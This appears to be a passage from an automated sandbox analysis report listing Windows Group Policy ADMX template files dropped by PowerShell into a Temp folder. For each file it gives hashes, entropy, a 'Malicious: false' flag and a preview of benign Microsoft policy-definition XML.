C:\Users\user\AppData\Local\Temp\file\Resource\Servicing.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1962
Entropy (8bit):	4.995592653491952
Encrypted:	false
SSDEEP:	48:3s+D/8lDt+fsofT5YgWV9gwAO/9iVMVROveoO8C:c+D0Dt+0o75xWswAO/9iV8REeozC
MD5:	984FE19D47EDAE7D758158DB7EA84E6B
SHA1:	350A1931E4E93DF5AA8C5F4D74321AB798F70EC1
SHA-256:	F65C32184651FFD33325B753C916146A95FACADFCB941F9961CF1D33088CD359
SHA-512:	395DF3F848733D4AD7B35538DCD2EF5C3CBBF126674A80DC4A222D39B07EF5BBDF16CD263B2438DE4D8D3530D32595B210AF2D439DE72F730A48A6BD8A96745B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitions revision="1.0" schemaVersion="1.0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="servicing" namespace="Microsoft.Policies.Servicing" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy .. name="Servicing" .. class="Machine" .. displayName="$(string.CloudFulfillmentGPO)" .. explainText="$(string.CloudFulfillmentGPOExplanation)" .. presentation="$(presentation.CloudFulfillmentGPO)" .. key="Software\Microsoft\Windows\CurrentVersion\Policies\Servicing">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Windows8" />.. <elements>....

C:\Users\user\AppData\Local\Temp\file\Resource\SettingSync.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (367), with CRLF line terminators
Category:	dropped
Size (bytes):	9716
Entropy (8bit):	4.87678388269078
Encrypted:	false
SSDEEP:	192:oYJIc5idZOoLsdDO4n4dPOeh6dROidpddOjiNdMOXGRdQOevwdHOXTnpdPOC:L5idZOoLsdDO4n4dPOeh6dROidpddOjc
MD5:	404BA8741BD37C8C5D57047C933B6685
SHA1:	A4190DEEF05C64DA3F5518D5F2E16888805E678B
SHA-256:	6A3E048BF249860CA371EDCCBC01485F3BB8290C77AD9B05060C5142C0772596
SHA-512:	CB9B2E09BB56ED3B710EF4A3FD9E1F413B9081999383AF63B63D52972EE81559DF8168189A572E2AF86736319BEEFC114A2BB03DEEF0CCE17875E6BDD1DD08B8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="settingsync" namespace="Microsoft.Policies.SettingSync" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SettingSync" displayName="$(string.SettingSyncCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.... <policy name="DisableSettingSync" presentation="$(presentation.DisableSettingSyncUserOverride)" class="Machine" displayName="$(string.DisableSettingSync)" explainText="$(string.DisableSettingSync_Help)" key="Software\Policies\Microsoft\Wi

C:\Users\user\AppData\Local\Temp\file\Resource\Setup.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1588
Entropy (8bit):	5.156673818885201
Encrypted:	false
SSDEEP:	48:3geDw08gmDtPfkofT5W5KcoQ9Awc61juCcoQ9Awh9qC:QeD/mDtP8o75kKccwc61CCccwh9qC
MD5:	1160FA69FE859492E62B5B5FFEE9C621
SHA1:	2BBE84B1C84DF6987474C9C7B8CEAFCC1D76D9D0
SHA-256:	6A38E79898843B79A970341F7B510A2B2C09BB4B0D2C1A24703B41C704B630E1
SHA-512:	5DC30D67B16EE71408FE2A9D96CBCF9F77498F0848700F18265B859CF14E0CF673C66B359E42691080FE66C925F85C496D6681949808EC32FFA1ED40D6EA17AD
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="setup" namespace="Microsoft.Policies.WindowsSetup" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="ServicePackSourcePath" class="Machine" displayName="$(string.ServicePackSourcePath)" explainText="$(string.ServicePackSourcePath_Help)" presentation="$(presentation.ServicePackSourcePath)" key="Software\Policies\Microsoft\Windows NT\Setup">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_WindowsXP" />.. <elements>.. <text id="ServicePackSourcePathBox" valueName=

C:\Users\user\AppData\Local\Temp\file\Resource\SharedFolders.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	5.160325025109388
Encrypted:	false
SSDEEP:	48:3geDw08gmDtgfE3ofT59vO16pmdYfJEvOIa6pmq:QeD/mDtgCo759GbdZG3q
MD5:	60C6248383095E5E43B7CA8DB9B166C5
SHA1:	15CD6BEEB6114DE63AB9603B08A56E96C672EF4A
SHA-256:	DA65561B8F9C05429B731357743E731098841347304A20228BC47D9AFACE000F
SHA-512:	DC99B34C90187ED545F2330DA7188CB0F3702DE647D0E2D8F186A87543FADB0B7CAD5681E20163511CA649B8890122196E9EF1289FEB1064AB123CD7EACE7CE6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sharedfolders" namespace="Microsoft.Policies.SharedFolders" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="PublishDfsRoots" class="User" displayName="$(string.PublishDfsRoots)" explainText="$(string.PublishDfsRoots_Help)" key="Software\Policies\Microsoft\Windows NT\SharedFolders" valueName="PublishDfsRoots">.. <parentCategory ref="windows:SharedFolders" />.. <supportedOn ref="windows:SUPPORTED_WindowsXP" />.. <enabledValue>.. <decimal value="1" />.. </enabledValue>.. <disabledVal

C:\Users\user\AppData\Local\Temp\file\Resource\Sharing.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1985
Entropy (8bit):	5.15424155732406
Encrypted:	false
SSDEEP:	48:3geDw08gmDtWfgofHKnKlGKBdQ5DIfRhdypOg+mkiT/Bq:QeD/mDtWoovKnK8KBy5DI3dyIg+mkitq
MD5:	CADD54B0E8DE98B975FB93B15080F256
SHA1:	A5F6BCB61B29738469B08FFE3E1BDEB2E49BC16A
SHA-256:	43B32411E5CE7A42CBE376D3DE30320229244250C7E61892CCABA49C69659DB2
SHA-512:	15395AC6B537F65292AAD26C9408B2BD3532A2B5CB24681718AEA032AC72A5B958A0E8A4102544006CCAB53D975FB206CBA502FA26DF4688008AD966FCDA6FEB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sharing" namespace="Microsoft.Policies.NetworkSharing" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Sharing" displayName="$(string.Sharing)" explainText="$(string.Sharing_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="HomeGroup" displayName="$(string.HomeGroup)" explainText="$(string.HomeGroup_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="NoInplaceSharing" class="

C:\Users\user\AppData\Local\Temp\file\Resource\Shell-CommandPrompt-RegEditTools.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3466
Entropy (8bit):	5.003195947960771
Encrypted:	false
SSDEEP:	96:QeD/mDt0+o75SGc2wNR1uHwiB2DI0uwlOM1fWINwZOCC:vYVQmNRBiBtklx9KZxC
MD5:	5590E4B921B3C0275E323507A120BD19
SHA1:	3A87EB7046F58A7F897077460D43D32ECF169C0E
SHA-256:	0AF770AA8B0F70F6CF67976AC60E34F41BFCCF79C1CDEE9C9C590FFDB6829E50
SHA-512:	F9F937C79571241A815EDAF544DBF8084635EE0A50974AA757DB3FED150C8F79B6FE8060F3ED5E6172204B6A1D0639BBCF14273D67D77CDD7C90F232FA73760E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="shell-commandprompt-regedittools" namespace="Microsoft.Policies.WindowsTools" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DisableCMD" class="User" displayName="$(string.DisableCMD)" explainText="$(string.DisableCMD_Help)" presentation="$(presentation.DisableCMD)" key="Software\Policies\Microsoft\Windows\System">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. <elements>.. <enum id="DisableCMDScripts" valueName="DisableCMD">.. <item di

C:\Users\user\AppData\Local\Temp\file\Resource\ShellWelcomeCenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	5.145088871018467
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtiS0W6f30s6fE3+ZKjcp87p9wV18+SsT+2hJJo:3geDw08gmDtS07f3ofT5HIPs/q
MD5:	E0F3C806E0474512F077A7A55BF67D7F
SHA1:	0F855F4F1FF9CAFB36E951F17DB6ABA5D86D9B0A
SHA-256:	99AD0467FBCB035D3F994AA7A770386350D327E416A846C2091C240278AAAEF3
SHA-512:	EFBE27799225C33C72086AB9A1B62A4D40CFDB1AE1ED43E02BD1C86FB2438CBCFAC0A7A1C233F5233B94AE2ACBC740EEAF41D07AF2BFCA6AC102E021B96C92A6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="shellwelcomecenter" namespace="Microsoft.Policies.WelcomeCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="RestrictWelcomeCenter" class="User" displayName="$(string.RestrictWelcomeCenter)" explainText="$(string.RestrictWelcomeCenter_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="RestrictWelcomeCenter">.. <parentCategory ref="windows:WindowsExplorer" />.. <supportedOn ref="windows:SUPPORTED_WindowsVistaOnly" />.. <enabledValue>.. <decimal value="1"

C:\Users\user\AppData\Local\Temp\file\Resource\Sidebar.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4000
Entropy (8bit):	5.100163491310941
Encrypted:	false
SSDEEP:	96:QeD/mDtOZCovKnKP5YcedPcedUXcYpdHXcYpdwcmdTcmq:vYCCy91YZOzf
MD5:	A16B513C1869646FB920422F2BC8F1BA
SHA1:	89E4763D66991DEF3EB5310956CC74ECCC577D85
SHA-256:	25A778CD9651B3E02A96B4478C6698628162A123BF238DF52DAE6C130EB1B33B
SHA-512:	AF9FB8389DAB2384BDC6D98D670742BCBEC9EDA3E7D9E079CCDB4961BAAAB8F32EE50BDDB63B8FB2127C770A0AB3E028F8A6C7086BC2F1A6A8317F77BAC830D5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="sidebar" namespace="Microsoft.Policies.SideBar" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Sidebar" displayName="$(string.Sidebar)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffSidebar_1" class="User" displayName="$(string.TurnOffSidebar)" explainText="$(string.TurnOffSidebar_Explain)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Windows\Sidebar" valueName="TurnOffSidebar">.. <parentCategory ref="Side

C:\Users\user\AppData\Local\Temp\file\Resource\SkyDrive.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (330), with CRLF line terminators
Category:	dropped
Size (bytes):	2808
Entropy (8bit):	5.078552439519054
Encrypted:	false
SSDEEP:	48:cy08gmDtVfm+ofHKnKjf2Q55weTmNweWZwe0ZuquWd5weDweoweBwerZuwwuo2vR:EmDtVrovKnKb5ai3x6tZ5daheX2/wulR
MD5:	A94642BE85E83BD11FE2EDC8EE57A052
SHA1:	CCE07BCC7DBE8BFEF8F9397C8B6E76B96DDC9AA9
SHA-256:	DA3489644A56924340C30BA06DCA8D02AC68A772C1971EBEEDFB07767EA6F1EE
SHA-512:	CFE4F318B08C3924C51EB679541B3A8D8D36CB47FFB5EBD9D979D254C1CBA8782DFD8757F748944967392608DCC1775FDF82B9324B03481314B1F661A085B733
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="skydrive" namespace="Microsoft.Policies.Skydrive" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Skydrive" displayName="$(string.SkydriveSettingCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PreventSkydriveFileSync" class="Machine" displayName="$(string.PreventSkydriveFileSync)" explainText="$(string.PreventSkydriveFileSync_help)" key="Software\Policies\Microsoft\Windows\Skydrive" valueName="DisableFileSync">.. <parentCategory ref="Skydrive" />.. <suppor

C:\Users\user\AppData\Local\Temp\file\Resource\Smartcard.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	9691
Entropy (8bit):	5.064726868132403
Encrypted:	false
SSDEEP:	192:vYhGTLlllql5mlzlQlU6AL3pup/qcl1lTlOZsulxL:/Tc5g5KU6AL3p8/q+DZOZsYxL
MD5:	E379DFA6BF0BE1AB67C44BBA7D07C484
SHA1:	476D43D414F7C8695F4A501A5CC58C786FD13888
SHA-256:	FEFB5E3AC91876CBAB0826353F0CC3F7B83781F560CA1C120ACADCED0219500A
SHA-512:	ED67988B2C1782AC0675DC4250422DF025FB31A994FBA8CF138FE5C8B6D726CE8CD5DE294917440F6614217134D93E4EBA215A8FE66337030E9E4C0EA0D173CC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="smartcard" namespace="Microsoft.Policies.SmartCard" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SmartCard" displayName="$(string.SmartCard)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="AllowCertificatesWithNoEKU" class="Machine" displayName="$(string.AllowCertificatesWithNoEKU)" explainText="$(string.AllowCertificatesWithNoEKU_help)" key="SOFTWARE\Policies\Microsoft\Windows\SmartCardCredentialProvider" valueName="AllowCerti

C:\Users\user\AppData\Local\Temp\file\Resource\Snis.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2057
Entropy (8bit):	5.116480129056148
Encrypted:	false
SSDEEP:	48:3MDw080DtvfZof+5f6KnKzATHPAVnuAKddTNSAVBuAKdGww5iC:cD3DtvBoG5CKnKzkvAVuASdIAVkASGwO
MD5:	D3B2233D4B190F038C0298EA1FB59DB3
SHA1:	9B33F4DD14086D977C2D4D7FE6DBC22491D53983
SHA-256:	904B6B95BD2C3149DFA51FC85F293D775D12D7606B75C957965DF16178311193
SHA-512:	9A6A8B080B915A7E6638807EE4013A2AE35CEE9422E08CFF6344525E8C1B82F768A41D8C1744C70EBA9B71C23DF635DDB001FFAA80F79FD94F265BAB86AA844F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2007 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="snis" namespace="Microsoft.Policies.SNIS" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. .. <categories>.. <category name="Snis" displayName="$(string.Snis)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. .. <policies>.. <policy name="Snis_LoggingLevel" class="Machine" displayName="$(string.Snis_LoggingLevel)" explainText="$(string.Snis_LoggingLevel_Help)" key="Software\Policies\Microsoft\Windows\

C:\Users\user\AppData\Local\Temp\file\Resource\Snmp.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2307
Entropy (8bit):	5.172321477988197
Encrypted:	false
SSDEEP:	48:3geDw08gmDtyfyofHKnK8p5w0QH0AwX1D+H0Aw/19cYWGU0AwLC:QeD/mDtyaovKnKs5bAwX1yw/1SYVswLC
MD5:	0865719D14DD368E545E2170CFFA737F
SHA1:	DFB7439E5AD93F3016235D8BBDB506D82CBF426B
SHA-256:	AAC48499587AAB3A4052D91830835FDA47A81CDFE0DA5A5C60D49BEA6D7D25C5
SHA-512:	2FE12F14EFB476B960C8B87B35EE733F2F5CE9C9351AD0784A0600EA0008B496A577BA6AA507EA43A4707684CED27583AB6ECB743B256C2C235181FFEBFCACF3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="snmp" namespace="Microsoft.Policies.SNMP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SNMP_SNMP" displayName="$(string.SNMP_SNMP)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="SNMP_Communities" class="Machine" displayName="$(string.SNMP_Communities)" explainText="$(string.SNMP_ValidCommunities_Help)" presentation="$(presentation.SNMP_Communities)" key="Software\Policies\SNMP\Parameters">.. <parentCategory ref="SNMP_SNMP" />..

C:\Users\user\AppData\Local\Temp\file\Resource\SoundRec.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1943
Entropy (8bit):	5.160076425034886
Encrypted:	false
SSDEEP:	48:3geDw08gmDt1fgSofHKnKb4Q5NelVEf8sl9/ghdNe5IVEf8sl9/ghq:QeD/mDt1YSovKnKbF5Nm48sl9sdNt480
MD5:	465FC93B60F40715822660265FB12C02
SHA1:	A1369FB394E0EADBC4FFC272EF267E38B89627EE
SHA-256:	23975807C65E1B67FEF71872F7F3F2BAC5373F4E88AF3D3C435BE6634AF795F3
SHA-512:	081FD62C41342A48E0FC1E874CCFD2F59B9B15665C378D1B999AF51F1867FF286F8380A8866D7B745F5589230C14D60C3F7E1470A4E9522427ADEC41D4890C9B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="soundrec" namespace="Microsoft.Policies.SoundRecorder" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Soundrec_GroupPolicyCategory" displayName="$(string.Soundrec_GroupPolicyCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Soundrec_DiableApplication_TitleText_1" class="User" displayName="$(string.Soundrec_DiableApplication_TitleText)" explainText="$(string.Soundrec_DisableApplication_DescriptionText)" key="SOFTWARE\Polic

C:\Users\user\AppData\Local\Temp\file\Resource\StartMenu.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (312), with CRLF line terminators
Category:	dropped
Size (bytes):	31220
Entropy (8bit):	5.1574793141250455
Encrypted:	false
SSDEEP:	384:IO+56a0MAT5unpXE8TM2kzI6EQQVkX6v1yb9VQnwL/KqwksDJ4adDqFTLMQtmfLa:oQY8t92qoyNmc
MD5:	1B3E0725DF0E701224B9AEDF574F5BA1
SHA1:	352B8833532AA11DE7D38E4D5B1C43C6A8237EB6
SHA-256:	C72A9DAF9D0C2A95F806F75BC68D8FEF9924A0D1F4D74D2B38946117324265D8
SHA-512:	C4C760BC7454CA292242AB7FFD8893D2833F6E32F11A38E0578D6344D70187B9ECE03AA8008A158D4ABA221DAEB97C64F12AB22B7CACC327E8FBAA087636D397
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="startmenu" namespace="Microsoft.Policies.StartMenu" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="ClearRecentProgForNewUserInStartMenu" class="User" displayName="$(string.ClearRecentProgForNewUserInStartMenu)" explainText="$(string.ClearRecentProgForNewUserInStartMenu_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="ClearRecentProgForNewUserInStartMenu">.. <parentCategory ref="windows:StartMenu" />.. <supportedOn ref="windows:SUPPORTED_Windows7ToVista" />.. <en

C:\Users\user\AppData\Local\Temp\file\Resource\SystemRestore.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	5.148888128922757
Encrypted:	false
SSDEEP:	48:3geDw08gmDt3f2+ofHKnK825C1tgBqBdL/tXBqBq:QeD/mDt3++ovKnKB5UtLdLtsq
MD5:	B0AC77FDEB234BBB81BEC0190201F450
SHA1:	F62F47A6CB55ED3902CA0E8EA7665264C9D72D8B
SHA-256:	E94E850376BEBC83A4CAFDA19060156B576AEB08873EAA3B3D88D474D66D5F92
SHA-512:	409E86D9999C7862675859D83669AFC65C8040E5F0C612C03D7954B95D61EFAECE2887F2777CFBC1FC2C534620AE428BB8D9C36F1B19A25742D8AFAFCE3619BF
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="systemrestore" namespace="Microsoft.Policies.SystemRestore" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="SR" displayName="$(string.SR)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="SR_DisableConfig" class="Machine" displayName="$(string.SR_DisableConfig)" explainText="$(string.SR_DisableConfig_Help)" key="Software\Policies\Microsoft\Windows NT\SystemRestore" valueName="DisableConfig">.. <parentCategory ref="SR" />.. <supported

C:\Users\user\AppData\Local\Temp\file\Resource\TPM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (449), with CRLF line terminators
Category:	dropped
Size (bytes):	7343
Entropy (8bit):	5.063869291186138
Encrypted:	false
SSDEEP:	192:vYEWL/1hAigPfjkhPONOP4sCdinTsGsuoDiwPFohORkaOfTd4rS:E/1hAigPfjkhWIP4sCdinTsGsuoDif0w
MD5:	46DD8B5146472AF8A03AB85E9D2D6F4F
SHA1:	B46D633B241DA1A0F661726D8F610352C5F9B1F5
SHA-256:	ADCC630A2EEED224B66A4E601BD8B06F3FADC3568C5EB8178BBD837FE7DF2C87
SHA-512:	CE4F7B961BC9419930BE09951ECCA77095FB3A5A9A9BE7D4EE4BA9A215444F22806E2F0C9DA08A67033ACC437371DDDFD1C2A0CD3F67C7E67E7E65E9CA2444AC
Malicious:	false
